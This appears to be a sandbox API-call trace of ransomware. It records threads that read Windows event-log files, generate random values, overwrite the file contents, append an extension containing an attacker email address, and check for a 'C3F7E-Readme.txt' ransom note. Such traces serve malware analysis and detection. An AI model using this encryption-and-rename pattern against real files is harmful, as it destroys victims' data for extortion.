	[0074.654] GetFileSizeEx (in: hFile=0x8c4, lpFileSize=0x8a0fcd0 | out: lpFileSize=0x8a0fcd0*=69632) returned 1
	[0074.654] SetFilePointerEx (in: hFile=0x8c4, liDistanceToMove=0x10ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0074.654] ReadFile (in: hFile=0x8c4, lpBuffer=0x8a0fc54, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x8a0fc50, lpOverlapped=0x0 | out: lpBuffer=0x8a0fc54*, lpNumberOfBytesRead=0x8a0fc50*=0x4, lpOverlapped=0x0) returned 1
	[0074.893] SetFilePointerEx (in: hFile=0x8c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0074.893] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47c18
	[0074.893] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47b78
	[0074.893] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47a88
	[0074.893] NtQuerySystemTime (in: CurrentTime=0x8a0fc30 | out: CurrentTime=0x8a0fc30*=132251868016352193) returned 0x0
	[0074.893] RtlRandom (in: Seed=0x8a0fc3c | out: Seed=0x8a0fc3c) returned 0x87d2708b
	[0074.893] RtlRandom (in: Seed=0x8a0fc3c | out: Seed=0x8a0fc3c) returned 0x508e16a3
	[0074.893] RtlRandom (in: Seed=0x8a0fc3c | out: Seed=0x8a0fc3c) returned 0x6e4d5527
	[0074.893] RtlRandom (in: Seed=0x8a0fc3c | out: Seed=0x8a0fc3c) returned 0xe573960b
	[0074.893] RtlRandom (in: Seed=0x8a0fc3c | out: Seed=0x8a0fc3c) returned 0xa43dbb86
	[0074.893] RtlRandom (in: Seed=0x8a0fc3c | out: Seed=0x8a0fc3c) returned 0x4074958c
	[0074.893] RtlRandom (in: Seed=0x8a0fc3c | out: Seed=0x8a0fc3c) returned 0x57244472
	[0074.893] RtlRandom (in: Seed=0x8a0fc3c | out: Seed=0x8a0fc3c) returned 0x939390c2
	[0074.893] RtlRandom (in: Seed=0x8a0fc3c | out: Seed=0x8a0fc3c) returned 0x8fdf22bd
	[0074.893] RtlRandom (in: Seed=0x8a0fc3c | out: Seed=0x8a0fc3c) returned 0x54997148
	[0074.893] RtlRandom (in: Seed=0x8a0fc3c | out: Seed=0x8a0fc3c) returned 0x85db149e
	[0074.893] RtlRandom (in: Seed=0x8a0fc3c | out: Seed=0x8a0fc3c) returned 0xbbe0195a
	[0074.893] RtlRandom (in: Seed=0x8a0fc3c | out: Seed=0x8a0fc3c) returned 0x70673e19
	[0074.893] RtlRandom (in: Seed=0x8a0fc3c | out: Seed=0x8a0fc3c) returned 0xbaf1c763
	[0074.893] RtlRandom (in: Seed=0x8a0fc3c | out: Seed=0x8a0fc3c) returned 0x20544a3d
	[0074.893] RtlRandom (in: Seed=0x8a0fc3c | out: Seed=0x8a0fc3c) returned 0xc04c5e58
	[0074.893] RtlRandom (in: Seed=0x8a0fc3c | out: Seed=0x8a0fc3c) returned 0xc3cec93a
	[0074.893] RtlRandom (in: Seed=0x8a0fc3c | out: Seed=0x8a0fc3c) returned 0x867ad747
	[0074.893] RtlRandom (in: Seed=0x8a0fc3c | out: Seed=0x8a0fc3c) returned 0x29fc9f71
	[0074.893] RtlRandom (in: Seed=0x8a0fc3c | out: Seed=0x8a0fc3c) returned 0xe0c48192
	[0074.893] RtlRandom (in: Seed=0x8a0fc3c | out: Seed=0x8a0fc3c) returned 0x8a0ad485
	[0074.893] RtlRandom (in: Seed=0x8a0fc3c | out: Seed=0x8a0fc3c) returned 0x93ccf06a
	[0074.893] RtlRandom (in: Seed=0x8a0fc3c | out: Seed=0x8a0fc3c) returned 0x31b5cff5
	[0074.893] RtlRandom (in: Seed=0x8a0fc3c | out: Seed=0x8a0fc3c) returned 0xd193174b
	[0074.893] RtlRandom (in: Seed=0x8a0fc3c | out: Seed=0x8a0fc3c) returned 0x506f0eb
	[0074.893] RtlRandom (in: Seed=0x8a0fc3c | out: Seed=0x8a0fc3c) returned 0x7c0b631d
	[0074.893] RtlRandom (in: Seed=0x8a0fc3c | out: Seed=0x8a0fc3c) returned 0xcd6a1709
	[0074.893] RtlRandom (in: Seed=0x8a0fc3c | out: Seed=0x8a0fc3c) returned 0xdbbb31b1
	[0074.893] RtlRandom (in: Seed=0x8a0fc3c | out: Seed=0x8a0fc3c) returned 0xfe5b096c
	[0074.893] RtlRandom (in: Seed=0x8a0fc3c | out: Seed=0x8a0fc3c) returned 0xf4d4ac72
	[0074.894] RtlRandom (in: Seed=0x8a0fc3c | out: Seed=0x8a0fc3c) returned 0x8d958f2
	[0074.894] RtlRandom (in: Seed=0x8a0fc3c | out: Seed=0x8a0fc3c) returned 0xec0adaf1
	[0074.902] SetFilePointerEx (in: hFile=0x8c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0074.902] ReadFile (in: hFile=0x8c4, lpBuffer=0x2e04f78, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x8a0fc10, lpOverlapped=0x0 | out: lpBuffer=0x2e04f78*, lpNumberOfBytesRead=0x8a0fc10*=0xc800, lpOverlapped=0x0) returned 1
	[0074.903] SetFilePointerEx (in: hFile=0x8c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0074.903] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2d73d20
	[0074.903] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4732e48
	[0074.903] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e478a8
	[0074.903] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e478a8) returned 1
	[0074.904] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4790fb0
	[0074.906] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47ba0
	[0074.906] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47c18
	[0074.906] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47c18) returned 1
	[0074.906] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4732e48) returned 1
	[0074.906] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d73d20) returned 1
	[0074.906] WriteFile (in: hFile=0x8c4, lpBuffer=0x4790fb0*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x8a0fc10, lpOverlapped=0x0 | out: lpBuffer=0x4790fb0*, lpNumberOfBytesWritten=0x8a0fc10*=0xc800, lpOverlapped=0x0) returned 1
	[0074.908] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4790fb0) returned 1
	[0074.908] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04f78) returned 1
	[0074.908] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x63) returned 0x2d86f88
	[0074.908] SetFilePointerEx (in: hFile=0x8c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0074.908] WriteFile (in: hFile=0x8c4, lpBuffer=0x2d865f0*, nNumberOfBytesToWrite=0x147, lpNumberOfBytesWritten=0x8a0fc90, lpOverlapped=0x0 | out: lpBuffer=0x2d865f0*, lpNumberOfBytesWritten=0x8a0fc90*=0x147, lpOverlapped=0x0) returned 1
	[0074.912] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d865f0) returned 1
	[0074.912] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d86ce8) returned 1
	[0074.912] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47998) returned 1
	[0074.912] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d86f88) returned 1
	[0074.912] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47ba0) returned 1
	[0074.912] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47b78) returned 1
	[0074.912] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47ad8) returned 1
	[0074.912] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47830) returned 1
	[0074.912] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xae) returned 0x2d7d060
	[0074.912] wcscpy (in: _Dest=0x2d7d060, _Source="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx"
	[0074.912] wcscat (in: _Dest=0x2d7d060, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0074.912] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x8a0fc48, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0074.912] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc4) returned 0x2d7ebc8
	[0074.913] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7ebc8) returned 1
	[0074.913] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d865f0) returned 1
	[0074.913] NtQueryInformationFile (in: FileHandle=0x8c4, IoStatusBlock=0x8a0fc54, FileInformation=0x8a0fc2c, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x8a0fc54, FileInformation=0x8a0fc2c) returned 0x0
	[0074.913] NtSetInformationFile (FileHandle=0x8c4, IoStatusBlock=0x8a0fc54, FileInformation=0x8a0fc2c, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0074.914] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7d060) returned 1
	[0074.914] FlushFileBuffers (hFile=0x8c4) returned 1
	[0074.915] CloseHandle (hObject=0x8c4) returned 1
	[0074.916] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x34) returned 0x2d70700
	[0074.916] wcscpy (in: _Dest=0x2d70700, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\"
	[0074.916] wcscat (in: _Dest=0x2d70700, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\Logs\\C3F7E-Readme.txt") returned="C:\\Logs\\C3F7E-Readme.txt"
	[0074.916] GetFileAttributesW (lpFileName="C:\\Logs\\C3F7E-Readme.txt" (normalized: "c:\\logs\\c3f7e-readme.txt")) returned 0x20
	[0074.916] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d70700) returned 1
	[0074.916] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d58fc8) returned 1

Thread:
	id = 152
	os_tid = 0xdcc

	[0074.411] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-diagnosis-dps%4operational.evtx")) returned 0x20
	[0074.508] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx", dwFileAttributes=0x20) returned 1
	[0074.508] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-diagnosis-dps%4operational.evtx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x8a8
	[0074.508] GetFileSizeEx (in: hFile=0x8a8, lpFileSize=0x8a8fe10 | out: lpFileSize=0x8a8fe10*=69632) returned 1
	[0074.508] SetFilePointerEx (in: hFile=0x8a8, liDistanceToMove=0x10ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0074.509] ReadFile (in: hFile=0x8a8, lpBuffer=0x8a8fd94, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x8a8fd90, lpOverlapped=0x0 | out: lpBuffer=0x8a8fd94*, lpNumberOfBytesRead=0x8a8fd90*=0x4, lpOverlapped=0x0) returned 1
	[0074.510] SetFilePointerEx (in: hFile=0x8a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0074.510] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781710
	[0074.510] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781530
	[0074.510] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781738
	[0074.510] NtQuerySystemTime (in: CurrentTime=0x8a8fd70 | out: CurrentTime=0x8a8fd70*=132251868012446592) returned 0x0
	[0074.510] RtlRandom (in: Seed=0x8a8fd7c | out: Seed=0x8a8fd7c) returned 0xc310e417
	[0074.510] RtlRandom (in: Seed=0x8a8fd7c | out: Seed=0x8a8fd7c) returned 0xd0cd97bc
	[0074.510] RtlRandom (in: Seed=0x8a8fd7c | out: Seed=0x8a8fd7c) returned 0xf302d0d7
	[0074.510] RtlRandom (in: Seed=0x8a8fd7c | out: Seed=0x8a8fd7c) returned 0x4bd26f62
	[0074.510] RtlRandom (in: Seed=0x8a8fd7c | out: Seed=0x8a8fd7c) returned 0x22f04225
	[0074.510] RtlRandom (in: Seed=0x8a8fd7c | out: Seed=0x8a8fd7c) returned 0x10fa083b
	[0074.510] RtlRandom (in: Seed=0x8a8fd7c | out: Seed=0x8a8fd7c) returned 0x3ed3745d
	[0074.510] RtlRandom (in: Seed=0x8a8fd7c | out: Seed=0x8a8fd7c) returned 0xa0cb5d15
	[0074.510] RtlRandom (in: Seed=0x8a8fd7c | out: Seed=0x8a8fd7c) returned 0xa86071da
	[0074.510] RtlRandom (in: Seed=0x8a8fd7c | out: Seed=0x8a8fd7c) returned 0xd0ee312b
	[0074.510] RtlRandom (in: Seed=0x8a8fd7c | out: Seed=0x8a8fd7c) returned 0x8ecb7179
	[0074.510] RtlRandom (in: Seed=0x8a8fd7c | out: Seed=0x8a8fd7c) returned 0x32efe581
	[0074.510] RtlRandom (in: Seed=0x8a8fd7c | out: Seed=0x8a8fd7c) returned 0x599bc59d
	[0074.510] RtlRandom (in: Seed=0x8a8fd7c | out: Seed=0x8a8fd7c) returned 0x82b11f83
	[0074.510] RtlRandom (in: Seed=0x8a8fd7c | out: Seed=0x8a8fd7c) returned 0x4202afec
	[0074.510] RtlRandom (in: Seed=0x8a8fd7c | out: Seed=0x8a8fd7c) returned 0x45217a3e
	[0074.510] RtlRandom (in: Seed=0x8a8fd7c | out: Seed=0x8a8fd7c) returned 0x2ff3493e
	[0074.510] RtlRandom (in: Seed=0x8a8fd7c | out: Seed=0x8a8fd7c) returned 0x30f1c331
	[0074.510] RtlRandom (in: Seed=0x8a8fd7c | out: Seed=0x8a8fd7c) returned 0x2421bed0
	[0074.510] RtlRandom (in: Seed=0x8a8fd7c | out: Seed=0x8a8fd7c) returned 0x654dfa75
	[0074.510] RtlRandom (in: Seed=0x8a8fd7c | out: Seed=0x8a8fd7c) returned 0x3b1a0303
	[0074.510] RtlRandom (in: Seed=0x8a8fd7c | out: Seed=0x8a8fd7c) returned 0x58ede10c
	[0074.510] RtlRandom (in: Seed=0x8a8fd7c | out: Seed=0x8a8fd7c) returned 0x8646a898
	[0074.510] RtlRandom (in: Seed=0x8a8fd7c | out: Seed=0x8a8fd7c) returned 0x89b923e6
	[0074.510] RtlRandom (in: Seed=0x8a8fd7c | out: Seed=0x8a8fd7c) returned 0x2362b1f2
	[0074.511] RtlRandom (in: Seed=0x8a8fd7c | out: Seed=0x8a8fd7c) returned 0xb80f646f
	[0074.511] RtlRandom (in: Seed=0x8a8fd7c | out: Seed=0x8a8fd7c) returned 0x53a1b176
	[0074.511] RtlRandom (in: Seed=0x8a8fd7c | out: Seed=0x8a8fd7c) returned 0x1b70556c
	[0074.511] RtlRandom (in: Seed=0x8a8fd7c | out: Seed=0x8a8fd7c) returned 0x48378
	[0074.511] RtlRandom (in: Seed=0x8a8fd7c | out: Seed=0x8a8fd7c) returned 0xdd88a7c7
	[0074.511] RtlRandom (in: Seed=0x8a8fd7c | out: Seed=0x8a8fd7c) returned 0x80d89633
	[0074.511] RtlRandom (in: Seed=0x8a8fd7c | out: Seed=0x8a8fd7c) returned 0x4a894815
	[0074.521] SetFilePointerEx (in: hFile=0x8a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0074.521] ReadFile (in: hFile=0x8a8, lpBuffer=0x2e3afa8, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x8a8fd50, lpOverlapped=0x0 | out: lpBuffer=0x2e3afa8*, lpNumberOfBytesRead=0x8a8fd50*=0xc800, lpOverlapped=0x0) returned 1
	[0074.522] SetFilePointerEx (in: hFile=0x8a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0074.522] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2d73978
	[0074.522] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x47330a0
	[0074.522] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781710
	[0074.522] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781710) returned 1
	[0074.523] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4790fb0
	[0074.526] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781710
	[0074.526] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781738
	[0074.526] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781738) returned 1
	[0074.526] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47330a0) returned 1
	[0074.526] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d73978) returned 1
	[0074.526] WriteFile (in: hFile=0x8a8, lpBuffer=0x4790fb0*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x8a8fd50, lpOverlapped=0x0 | out: lpBuffer=0x4790fb0*, lpNumberOfBytesWritten=0x8a8fd50*=0xc800, lpOverlapped=0x0) returned 1
	[0074.529] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4790fb0) returned 1
	[0074.529] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e3afa8) returned 1
	[0074.529] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x6f) returned 0x47330a0
	[0074.529] SetFilePointerEx (in: hFile=0x8a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0074.529] WriteFile (in: hFile=0x8a8, lpBuffer=0x2d865f0*, nNumberOfBytesToWrite=0x153, lpNumberOfBytesWritten=0x8a8fdd0, lpOverlapped=0x0 | out: lpBuffer=0x2d865f0*, lpNumberOfBytesWritten=0x8a8fdd0*=0x153, lpOverlapped=0x0) returned 1
	[0074.531] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d865f0) returned 1
	[0074.531] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04180) returned 1
	[0074.532] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781738) returned 1
	[0074.532] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47330a0) returned 1
	[0074.532] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781710) returned 1
	[0074.532] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781530) returned 1
	[0074.532] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47814e0) returned 1
	[0074.532] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781558) returned 1
	[0074.532] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xba) returned 0x2d896d0
	[0074.532] wcscpy (in: _Dest=0x2d896d0, _Source="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx"
	[0074.532] wcscat (in: _Dest=0x2d896d0, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0074.532] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x8a8fd88, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0074.532] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd0) returned 0x2d6ff90
	[0074.533] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d6ff90) returned 1
	[0074.533] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7ec98) returned 1
	[0074.533] NtQueryInformationFile (in: FileHandle=0x8a8, IoStatusBlock=0x8a8fd94, FileInformation=0x8a8fd6c, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x8a8fd94, FileInformation=0x8a8fd6c) returned 0x0
	[0074.533] NtSetInformationFile (FileHandle=0x8a8, IoStatusBlock=0x8a8fd94, FileInformation=0x8a8fd6c, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0074.534] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d896d0) returned 1
	[0074.534] FlushFileBuffers (hFile=0x8a8) returned 1
	[0074.535] CloseHandle (hObject=0x8a8) returned 1
	[0074.536] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x34) returned 0x2d70c40
	[0074.536] wcscpy (in: _Dest=0x2d70c40, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\"
	[0074.536] wcscat (in: _Dest=0x2d70c40, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\Logs\\C3F7E-Readme.txt") returned="C:\\Logs\\C3F7E-Readme.txt"
	[0074.536] GetFileAttributesW (lpFileName="C:\\Logs\\C3F7E-Readme.txt" (normalized: "c:\\logs\\c3f7e-readme.txt")) returned 0x20
	[0074.536] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d70c40) returned 1
	[0074.536] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d60748) returned 1

Thread:
	id = 153
	os_tid = 0xea4

	[0074.411] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-diagnostics-performance%4operational.evtx")) returned 0x20
	[0074.931] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx", dwFileAttributes=0x20) returned 1
	[0074.931] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-diagnostics-performance%4operational.evtx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x8b8
	[0074.950] GetFileSizeEx (in: hFile=0x8b8, lpFileSize=0x8b0fd0c | out: lpFileSize=0x8b0fd0c*=69632) returned 1
	[0074.951] SetFilePointerEx (in: hFile=0x8b8, liDistanceToMove=0x10ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0074.951] ReadFile (in: hFile=0x8b8, lpBuffer=0x8b0fc90, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x8b0fc8c, lpOverlapped=0x0 | out: lpBuffer=0x8b0fc90*, lpNumberOfBytesRead=0x8b0fc8c*=0x4, lpOverlapped=0x0) returned 1
	[0074.958] SetFilePointerEx (in: hFile=0x8b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0074.958] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47c18
	[0074.958] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47b78
	[0074.958] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47a88
	[0074.958] NtQuerySystemTime (in: CurrentTime=0x8b0fc6c | out: CurrentTime=0x8b0fc6c*=132251868016977121) returned 0x0
	[0074.958] RtlRandom (in: Seed=0x8b0fc78 | out: Seed=0x8b0fc78) returned 0xaa6a1eca
	[0074.958] RtlRandom (in: Seed=0x8b0fc78 | out: Seed=0x8b0fc78) returned 0xbad39ec5
	[0074.958] RtlRandom (in: Seed=0x8b0fc78 | out: Seed=0x8b0fc78) returned 0xf133c949
	[0074.958] RtlRandom (in: Seed=0x8b0fc78 | out: Seed=0x8b0fc78) returned 0xb6251f4c
	[0074.958] RtlRandom (in: Seed=0x8b0fc78 | out: Seed=0x8b0fc78) returned 0x55b80dc
	[0074.958] RtlRandom (in: Seed=0x8b0fc78 | out: Seed=0x8b0fc78) returned 0xc67c2425
	[0074.958] RtlRandom (in: Seed=0x8b0fc78 | out: Seed=0x8b0fc78) returned 0x1e7c2885
	[0074.958] RtlRandom (in: Seed=0x8b0fc78 | out: Seed=0x8b0fc78) returned 0xe01f2cd5
	[0074.958] RtlRandom (in: Seed=0x8b0fc78 | out: Seed=0x8b0fc78) returned 0x9e3b08ac
	[0074.958] RtlRandom (in: Seed=0x8b0fc78 | out: Seed=0x8b0fc78) returned 0xeb22befd
	[0074.958] RtlRandom (in: Seed=0x8b0fc78 | out: Seed=0x8b0fc78) returned 0xd47ebeec
	[0074.958] RtlRandom (in: Seed=0x8b0fc78 | out: Seed=0x8b0fc78) returned 0x9376ff2a
	[0074.958] RtlRandom (in: Seed=0x8b0fc78 | out: Seed=0x8b0fc78) returned 0xdf294720
	[0074.958] RtlRandom (in: Seed=0x8b0fc78 | out: Seed=0x8b0fc78) returned 0x6930d0d7
	[0074.958] RtlRandom (in: Seed=0x8b0fc78 | out: Seed=0x8b0fc78) returned 0x9f88ac63
	[0074.958] RtlRandom (in: Seed=0x8b0fc78 | out: Seed=0x8b0fc78) returned 0xd69596de
	[0074.958] RtlRandom (in: Seed=0x8b0fc78 | out: Seed=0x8b0fc78) returned 0xd968c071
	[0074.958] RtlRandom (in: Seed=0x8b0fc78 | out: Seed=0x8b0fc78) returned 0xa0af02e
	[0074.958] RtlRandom (in: Seed=0x8b0fc78 | out: Seed=0x8b0fc78) returned 0x52bc4d64
	[0074.958] RtlRandom (in: Seed=0x8b0fc78 | out: Seed=0x8b0fc78) returned 0x3651910e
	[0074.958] RtlRandom (in: Seed=0x8b0fc78 | out: Seed=0x8b0fc78) returned 0xd20f6ff9
	[0074.958] RtlRandom (in: Seed=0x8b0fc78 | out: Seed=0x8b0fc78) returned 0xebc35194
	[0074.958] RtlRandom (in: Seed=0x8b0fc78 | out: Seed=0x8b0fc78) returned 0x5476df55
	[0074.958] RtlRandom (in: Seed=0x8b0fc78 | out: Seed=0x8b0fc78) returned 0xb74e746a
